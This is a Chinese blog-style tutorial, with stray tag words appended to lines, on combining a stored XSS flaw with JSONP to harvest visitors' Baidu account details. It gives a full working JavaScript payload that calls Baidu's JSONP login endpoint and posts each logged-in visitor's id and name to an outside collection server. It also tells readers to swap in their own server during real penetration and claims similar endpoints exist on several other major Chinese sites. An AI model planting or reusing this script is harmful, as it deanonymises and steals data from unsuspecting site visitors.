XSS结合JSONP获取网站访客社交帐号信息

  我在本地环境搭建了一个WordPress网站,并在该网站中植入JavaScript文件。若是访客在浏览网站时登陆了百度帐号,该js文件可以利用JSONP获取网站访客的百度帐号信息。php

具体状况以下:ajax

一、首先修改WordPress的footer.php文件,引入2个外部JavaScript文件。第一个是jQuery库,第二个是jsonp代码。在实际渗透中,若是该网站存在存储型XSS漏洞,咱们就能够将xss_jsonp.js文件植入进去。json

二、xss_jsonp.js文件内容以下,具体功能是经过JSONP获取百度帐号信息,并上传到服务器上。为了作演示,这里我把获取到的信息上传到www.sogou.com,在实际渗透中,你能够把信息上传到本身的服务器上。api

 1 function jsonp_baidu() {  2     window._baidu_1 = function(object) {  3     if(!object.id) {  4         return;  5  }  6     var data = {};  7     data.id = object.id;  8     data.name = object.name;  9     $.post(saveUrl + '?act=baidu', data); 10  }; 11  $.ajax({ 12         url: "https://baike.baidu.com/api/login/", 13         type: "GET", 14         dataType: "jsonp", 15         jsonp: 'callback', 16         jsonpCallback: "_baidu_1", 17  }); 18 } 19 var saveUrl = 'https://www.sogou.com/xss_jsonp.php'; 20 jsonp_baidu();

三、访问网站并观察刚才植入的js代码是否执行。服务器

访问百度的JSONP接口,服务器返回登陆帐号的相关信息。xss

获取到百度帐号信息后,上传到www.sogou.com服务器。post

 

  目前,我已经找到了百度、淘宝、京东、腾讯、新浪、爱奇艺等多个国内流行网站的JSONP接口,从这些接口能够获取用户帐号信息。jsonp

相关文章
相关标签/搜索